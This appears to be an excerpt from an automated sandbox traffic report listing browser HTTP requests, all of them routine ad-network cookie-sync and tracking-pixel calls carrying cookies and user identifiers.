Source: global traffic	HTTP traffic detected: GET /xuid?mid=3658&xuid=43e7dc8e-5458-4375-be4a-644737ed4dbd&dongle=0cfd&gdpr=0&gdpr_consent= HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; tluid=4394171109507437451801; tluidp=4394171109507437451801
Source: global traffic	HTTP traffic detected: GET /xuid?mid=2662&xuid=y-TaJ_CqxE2oT_x6V2DIotmiBZqRiSs7IM03DvRfJl8w--~A&dongle=0883 HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; tluid=4394171109507437451801; tluidp=4394171109507437451801
Source: global traffic	HTTP traffic detected: GET /xuid?mid=2319&xuid=0-b26851c3-7a83-50e6-56c2-722588816484$ip$149.18.24.69&dongle=4430 HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; tluid=4394171109507437451801; tluidp=4394171109507437451801
Source: global traffic	HTTP traffic detected: GET /usersync?b=mag&i=LVIOSA1W-7-6DCM&gdpr=0&gdpr_consent=undefined&us_privacy=1YNN HTTP/1.1Host: usersync.gumgum.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=u_4c53540e-5a20-4fc0-94bc-96b5618a25d2
Source: global traffic	HTTP traffic detected: GET /pixel/cookiesyncredir?rurl=https%3A%2F%2Fx.bidswitch.net%2Fsync%3Fdsp_id%3D151%26user_id%3D%7Bglobalid%7D%26expires%3D30%26ssp=triplelift HTTP/1.1Host: bttrack.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v000/sync?userid=1476058396850158061&pn_id=an HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: yieldmo_id=VcJnSSSXXnSq19AL9kSQ%7C1714176000000%7C3526568451909764169; re_sync=rc%3D1191296%7Cunl%3D1191296%7Cc%3D1191296%7Cdv360%3D1191296%7Can%3D1191296
Source: global traffic	HTTP traffic detected: GET /sync?pn_id=rc&id=LVIOSA1W-7-6DCM HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: yieldmo_id=VcJnSSSXXnSq19AL9kSQ%7C1714176000000%7C3526568451909764169; re_sync=rc%3D1191296%7Cunl%3D1191296%7Cc%3D1191296%7Cdv360%3D1191296%7Can%3D1191296
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=yieldmo_dbm&google_cm&pn_id=c HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=yieldmo_dbm&google_hm=VmNKblNTU1hYblNxMTlBTDlrU1E= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
Source: global traffic	HTTP traffic detected: GET /usersync2/rmpssp?sub=yieldmo&redir%3Dhttps%3A%2F%2Fads.yieldmo.com%2Fv000%2Fsync%3Fpn_id%3Dunl%26id%3D%5BRX_UUID%5D HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-915945b2-6af3-4975-9839-febe73c73a74-005%22%2C%22zdxidn%22%3A%222057.4%22%2C%22nxtrdr%22%3A%22https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3572593249104590000V10%26type%3Dr1%26refUrl%3D%26vid%3D42577288383572593249104590000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D%22%7D
Source: global traffic	HTTP traffic detected: GET /dis/usersync.aspx?r=44&p=75&cp=triplelift&cu=1&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=${GPP_STRING_28}&gpp_sid=&url=https%3A%2F%2Feb2.3lift.com%2Fxuid%3Fmid%3D2711%26xuid%3D%40%40CRITEO_USERID%40%40%26dongle%3D013b HTTP/1.1Host: dis.criteo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uid=3a1484ea-90ac-4bdd-895c-934bad280353
Source: global traffic	HTTP traffic detected: GET /cookie-sync/trl?gdpr=0&gdpr_consent= HTTP/1.1Host: match.prod.bidr.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: bito=AAERJ07MWv8AABVaVp3HVQ; bitoIsSecure=ok
Source: global traffic	HTTP traffic detected: GET /dmp/pixelSync?nid=83&gdpr=0&gdpr_consent= HTTP/1.1Host: pixel-sync.sitescout.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ssi=14f55726-f4ad-421d-bd2f-9c7bac51541e#1714257737901
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?id=dc2068a3-fa3d-4b5f-8a61-3d5a1a58fc05&ph=21f03281-5b83-4670-a0e0-dc15f7542014&r=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D76%263pid%3D%7BOPENX_ID%7D&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ce.lijit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; i=17067c3c-64db-0b89-1b35-11b5049e430b\|1714257724; pd=v2\|1714257725\|vMgavPkWgyiK
Source: global traffic	HTTP traffic detected: GET /x/757c0557066e95cfd4c7?gdpr=0&gdpr_consent=&uid=4394171109507437451801 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=AyzDX-0vP0UYm8DYlkzC7x4; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /d/sync/cookie/generic?https://eb2.3lift.com/xuid?mid=3702&xuid=${ADELPHIC_CUID}&dongle=d54f&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.ipredictive.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cu=f10e083f-54cc-4ce5-aa07-8210352e586a\|1714257732290
Source: global traffic	HTTP traffic detected: GET /getuid?https%3A%2F%2Feb2.3lift.com%2Fxuid%3Fmid%3D3335%26xuid%3D%24UID%26dongle%3D4d58%26gdpr=0%26gdpr_consent= HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M40]Erk#WF']wIg2Hc#u`tfT!A#Ej.TOKKnyW<U1`VROYQM-:>N%:f?4^DS_^AL_X@Z4BQO/VqCIv?1Mu7p?<QG=%9sks1In=D?Iv3%`L5:g0+Q`VLqcKDHv`2oH0s2[CnY5O*f%Ip; uids=eyJ0ZW1wVUlEcyI6eyJydWJpY29uIjp7InVpZCI6IkxWSU9TQTFXLTctNkRDTSIsImV4cGlyZXMiOiIyMDI0LTA3LTI2VDIyOjQyOjE2WiJ9fSwiYmlydGhkYXkiOiIyMDI0LTA0LTI3VDIyOjQyOjE2WiJ9
Source: global traffic	HTTP traffic detected: GET /prebid/setuid?bidder=triplelift_native&gdpr=0&gdpr_consent=&uid=4394171109507437451801 HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M40]Erk#WF']wIg2Hc#u`tfT!A#Ej.TOKKnyW<U1`VROYQM-:>N%:f?4^DS_^AL_X@Z4BQO/VqCIv?1Mu7p?<QG=%9sks1In=D?Iv3%`L5:g0+Q`VLqcKDHv`2oH0s2[CnY5O*f%Ip; uids=eyJ0ZW1wVUlEcyI6eyJydWJpY29uIjp7InVpZCI6IkxWSU9TQTFXLTctNkRDTSIsImV4cGlyZXMiOiIyMDI0LTA3LTI2VDIyOjQyOjE2WiJ9fSwiYmlydGhkYXkiOiIyMDI0LTA0LTI3VDIyOjQyOjE2WiJ9
Source: global traffic	HTTP traffic detected: GET /prebid/setuid?bidder=triplelift&gdpr=0&gdpr_consent=&uid=4394171109507437451801 HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M40]Erk#WF']wIg2Hc#u`tfT!A#Ej.TOKKnyW<U1`VROYQM-:>N%:f?4^DS_^AL_X@Z4BQO/VqCIv?1Mu7p?<QG=%9sks1In=D?Iv3%`L5:g0+Q`VLqcKDHv`2oH0s2[CnY5O*f%Ip; uids=eyJ0ZW1wVUlEcyI6eyJydWJpY29uIjp7InVpZCI6IkxWSU9TQTFXLTctNkRDTSIsImV4cGlyZXMiOiIyMDI0LTA3LTI2VDIyOjQyOjE2WiJ9fSwiYmlydGhkYXkiOiIyMDI0LTA0LTI3VDIyOjQyOjE2WiJ9
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537072971&val=43e7dc8e-5458-4375-be4a-644737ed4dbd&ttd_puid=daaf3e02-0bcc-3afa-7eb6-2ab938e28ede&gdpr=0&gdpr_consent= HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; i=17067c3c-64db-0b89-1b35-11b5049e430b\|1714257724; pd=v2\|1714257725\|vMgavPkWgyiK
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537148856&val=Zi1-PgAAvwsNrQAF HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://yahoo-bidout-d.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; i=17067c3c-64db-0b89-1b35-11b5049e430b\|1714257724; pd=v2\|1714257725\|vMgavPkWgyiK
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537072971&val=43e7dc8e-5458-4375-be4a-644737ed4dbd&ttd_puid=c4aa4365-cd5c-347e-41e3-d95d60b970f6&gdpr=0&gdpr_consent= HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://yahoo-bidout-d.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; i=17067c3c-64db-0b89-1b35-11b5049e430b\|1714257724; pd=v2\|1714257725\|vMgavPkWgyiK
Source: global traffic	HTTP traffic detected: GET /usersync/triplelift/?gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1Host: b1sync.zemanta.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zuid=pzXJ98G8FgkOH15Vlr4a
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537072991&val=CAESELftS61SWy0VRP4ijwQOwJA&google_cver=1 HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://yahoo-bidout-d.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; i=17067c3c-64db-0b89-1b35-11b5049e430b\|1714257724; pd=v2\|1714257725\|vMgavPkWgyiK
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=8m33zk4&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; TDCPM=CAESFgoHcnViaWNvbhILCOTVj6KqxfM8EAUYASABKAIyCwjagK_4wMXzPBAFOAFaBmd1bWd1bWAC
Source: global traffic	HTTP traffic detected: GET /usersync/medianet/?puid=${VSID}&cb=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D1%26type%3Dzem%26ovsid%3D__ZUID__ HTTP/1.1Host: b1sync.zemanta.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zuid=pzXJ98G8FgkOH15Vlr4a
Source: global traffic	HTTP traffic detected: GET /sync?ssp=pubmatic&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=22ec7773-8e4b-4639-873b-a22ce7444b56; c=1714257731; custom_data=ksqvgV83WEJQamtiZXNGYTQwT2NpRmJBcjQyRFBWOG9BMkhlSHAlMkZ1ckREM3BkQ00lM0Q; tuuid_lu=1714257737
Source: global traffic	HTTP traffic detected: GET /cookie-sync/pm?gdpr=0&gdpr_consent= HTTP/1.1Host: match.prod.bidr.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: bito=AAERJ07MWv8AABVaVp3HVQ; bitoIsSecure=ok
